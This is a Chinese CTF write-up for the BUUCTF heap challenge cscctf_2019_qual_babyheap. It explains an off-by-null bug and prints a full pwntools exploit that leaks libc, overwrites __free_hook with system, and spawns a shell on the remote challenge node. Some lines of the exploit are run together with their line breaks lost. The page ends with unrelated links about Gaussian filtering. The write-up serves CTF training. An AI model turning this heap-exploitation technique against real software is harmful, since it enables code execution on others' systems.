【buuctf】cscctf_2019_qual_babyheap

article/2025/11/7 11:39:21

buuctf【cscctf_2019_qual_babyheap】

今天找了一道100分题目,题目本身并没有那么难
例行检查
在这里插入图片描述
64位的程序,保护机制全开,放到IDA中分析
漏洞分析
在这里插入图片描述
函数功能很简单,功能基本齐全,漏洞点在creat()中,
在这里插入图片描述
当我们申请堆块,写入内容时,会在最后多写入一个’\x00’字节,存在off by null 溢出,但程序只允许我们申请15个堆块,因此要合理利用堆块。
利用思路
1.通过for循环申请足够多的堆块,在将其释放,构造出unsorted bin
2.堆风水,利用off by null 构造overlap,泄露libc地址
3.在次通过off by null 来劫持free_hook指针,劫持为system
4.free掉’/bin/sh’,get shell

exp:

from pwn import *
elf = ELF('./cscctf_2019_qual_babyheap')
io = remote('node4.buuoj.cn',25675)
#io = process('./cscctf_2019_qual_babyheap')
libc = ELF('./libc-2.27.so')
context.log_level='debug'def choice(c):io.recvuntil('>>')io.sendline(str(c))def add(index,size,content):choice(1)io.recvuntil(':')io.sendline(str(index))io.recvuntil(':')io.sendline(str(size))io.recvuntil(':')io.send(content)def show(index):choice(3)io.recvuntil(':')io.sendline(str(index))def free(index):choice(2)io.recvuntil(':')io.sendline(str(index))#堆风水
for i in range(7):add(i,0xf0,'A')add(7,0xf0,'A')
add(8,0x18,'A')
add(9,0xf0,'A')
add(10,0x28,'A')
#free掉前7个0xf0的堆块,再次free掉0xf0大小的堆块就会进入unsorted bin 中
for i in range(7):free(i)free(7)#进入unsorted bin 
free(8)
add(8,0x18,'A'*0x10+p64(0x120))#利用 off by null
free(9)#触发向上合并add(7,0xd0,'A')
add(9,0x10,'A')
show(8)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
success(hex(leak))
libc_base = leak-0x3ebca0
success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook))
success(hex(system))#劫持free_hook指针
free(7)
free(9)for i in range(7):add(i,0xf0,'A')add(9,0x10,'A')
add(7,0x10,'A')add(11,0xf0,'A')
#10
add(12,0xf0,'A')
add(13,0x20,'A')for i in range(7):free(i)free(11)
free(10)
add(10,0x28,'A'*0x20+p64(0x130))#同样利用off by null
free(10)
free(12)add(0,0x90,'A')
add(1,0x70,'A'*0x50+p64(0x100)+p64(0x30)+p64(free_hook))
add(2,0x20,'A')
add(3,0x20,p64(system))#覆写 free_hook 为system
add(4,0xf0,'/bin/sh\x00')free(4)#触发
#gdb.attach(io)io.interactive()

在这里插入图片描述
喜提flag!!


http://chatgpt.dhexx.cn/article/cFmdYRwG.shtml

相关文章

CE-FPN: Enhancing Channel Information for Object Detection

论文链接: https://arxiv.org/pdf/2103.10643v1.pdf 本文提出了一种新的通道增强特征金字塔网络(CE-FPN),具体地说,受亚像素卷积的启发,提出了一种亚像素跳跃融合方法来执行通道增强和上采样。它代替了原来的11卷积和…

CEF一些基本知识

一.CEF简介 Chromium Embedded Framework (CEF)是个基于Google Chromium项目的开源Web browser控件,支持Windows, Linux, Mac平台。 简单说就是Chrome的开源版,目前很多所谓的双核浏览器,实质就是chromeIE的双核。基于HTML5的支持&#xff0c…

CEF环境编译

文章目录 前言龙芯-CEF用户使用手册Tutorial源码入口函数编译步骤最后 前言 Chromium Embedded Framework (CEF) 官方镜像。 一个简单的框架,用于将基于 Chromium 的浏览器嵌入到其他应用程序中。 CEF仓库:chromiumembedded/cef 二进制CEF: CEF Autom…

CEM和BBHE

逆光图像处理 CEMBBHE代码CEMBBHE 今天又了解到了两种对亮度处理的方法。分别是CEM和BBHE。 参考: CEM_matlab. BBHE_matlab. BBHE_C. CEM 单纯的CEM公式比较简单,原理和公式如下 根据网上一个matlab程序复写了一遍python的,灰度图是有效果的。彩色…

模拟生成高斯噪声

之前有做过在图像上加高斯噪声的实验,在模拟生成随机数,以及产生高斯分布噪声时,受到了一些干扰。尤其是和高斯模糊相混淆。对于初学者来说,这些虽然是一些基本的图像处理知识,但是,眼高手低是很要不得的。…

CSS实现高斯模糊效果

用CSS实现高斯模糊效果:filter、backdrop-filter 高斯模糊是一种常见的效果(俗称毛玻璃效果),在CSS中使用filter、backdrop-filter属性均可实现 一、filter 这其实是一种“假”模糊,需要一层做背景并使用filter属性达到…

(三)对图像进行Gauss高斯平滑处理

对图像进行Gauss高斯平滑处理 平滑滤波 图像在采集、传输和转换过程中都容易受环境的影响,这在图像中就表现为噪声,这些噪声会致使图像质量降低或者干扰我们提取原本想要的图像信息,所以需要通过滤波技术来去除这些图像中的噪声干扰。 常见…

高斯白噪声(white Gaussian noise,WGN)及matlab演示

原文链接:http://wenku.baidu.com/link?urlmj_wz_9l7PAlURQYi1iOnTnweMxyPvoTWGgoIQdCh2v0Yugt7v_G9QsUkS6Ww-ro2VhJ3L9rsE9kqhqX1V-3TlLNeZdcx_zrLlzZBBIhgqK 文库上看到的一片文章,讲的非常清晰明了,我等渣渣不得不转啊。 本文科普一下高斯…

高斯平滑 高斯模糊 高斯濾波器 ( Gaussian Smoothing, Gaussian Blur, Gaussian Filter ) C++ 實現

http://blog.csdn.net/cay22/article/details/5546636 高斯平滑 高斯模糊 高斯濾波器 ( Gaussian Smoothing, Gaussian Blur, Gaussian Filter ) C 實現 在之前提到過了均值濾波器, 就是說某像素的顏色, 由以其為中心的九宮格的像素平均值來決定. 在這個基礎上又發展成了帶權的…

高斯玻色采样enhance量子近似优化算法

上篇博文,我们已经接触了QAOA量子近似优化算法,我们已经知道近似优化算法一般用于求解组合优化问题。这里我们再说明一下什么是组合优化问题: 给定一个数据集 X { x 1 , x 2 , . . . x N } X{{x_{1},x_{2…

matlab 绘制高斯(Gaussan)函数图像

高斯函数如下: G a u s s a n 1 2 π σ e − ( x − μ ) 2 2 σ 2 Gaussan \frac{1}{\sqrt{2\pi}\sigma}e^{-\frac{(x-\mu)^2}{2\sigma^2}} Gaussan2π ​σ1​e−2σ2(x−μ)2​ 使用 MATLAB 编写高斯函数,需传入 x , μ , σ x,\mu,\sigma x,μ,…

高斯平滑滤波器(Gaussian Smoothing Filter)

一、图像滤波的基本概念 图像常常被强度随机信号(也称为噪声)所污染。一些常见的噪声有椒盐(Salt & Pepper)噪声、脉冲噪声、高斯噪声等。椒盐噪声含有随机出现的黑白强度值.而脉冲噪声则只含有随机的白强度值&am…

高斯滤波(Gauss filtering)

1.概念介绍 高斯滤波是一种线性平滑滤波,适用于消除高斯噪声,广泛应用于图像处理的减噪过程。  通俗的讲,高斯滤波就是对整幅图像进行加权平均的过程,每一个像素点的值,都由其本身和邻域内的其他像素值经过加权平均后…

Matlab_用高斯赛德尔(Gaoss-Seidel)迭代法解线性方程组

1.程序代码 function xGauss(A,b,x0,ep,N) %用途:用高斯迭代法解线性方程组Axb %A为系数矩阵,b为右端向量,x0为初始向量(默认零向量) %ep为精度(1e-6),N为最大迭代次数&#xff…

gaussian_filter( )函数(高斯滤波)

对一个数进行高斯滤波(模糊)可以理解成将该数取附近矩形窗口所有值的加权平均值,距离处理数越近的点权重越大,距离处理点越远的点权重越小。因此如果取的矩形窗口越大,那么对处理点的模糊效果越强烈。 上图&#xff0c…

Gauss-Seidel迭代法的C++实现

高斯赛德尔迭代法大家可以从网站上找到相关的公式推导&#xff0c;这里给出它的C算法实现和运行的结果。 #include<iostream> #include<math.h> using namespace std;int n; //定义全局变量 double a[100…

高斯平滑

&#xfeff;&#xfeff; 高斯平滑 Common Names: Gaussian smoothing 简述&#xff1a; 高斯平滑操作是一种2-D的卷积操作&#xff0c;应用于模糊图像中&#xff0c;去除细节和噪声。从这个意思上说&#xff0c;它类似于均值滤波器&#xff0c;但是使用的是不同的内核&#…

高斯平滑 高斯模糊 高斯滤波器 ( Gaussian Smoothing, Gaussian Blur, Gaussian Filter ) C++ 实现

发展到现在这个平滑算法的时候, 我已经完全不知道如何去命名这篇文章了, 只好罗列出一些关键字来方便搜索了. 在之前我们提到过了均值滤波器, 就是说某像素的颜色, 由以其为中心的九宫格的像素平均值来决定. 在这个基础上又发展成了带权的平均滤波器, 这里的高斯平滑或者说滤波…

Gaussian Smoothing(高斯平滑)

高斯平滑操作是一个二维卷积操作&#xff0c;用于**“模糊”**图像&#xff0c;去除细节和噪音。它类似于均值滤波器(假如3X3&#xff0c;则全部相加取均值&#xff0c;即成为中间点的像素值)&#xff0c;但它使用不同的核表示高斯驼峰的形状。 二维高斯公式 平均值(0&#xf…

高斯-赛戴尔(Gauss-Seidel)迭代法及算法实现

1、高斯-赛戴尔迭代法的定义以及表达形式 以下列方程组为例&#xff1a; 在雅克比迭代法中&#xff0c;并没有对新算出的分量进行充分利用&#xff0c;一般来说&#xff0c;这些新算出计算的结果要比上一步计算的结果精确。 对上式第二个方程组&#xff0c;第一行式子算出的x值…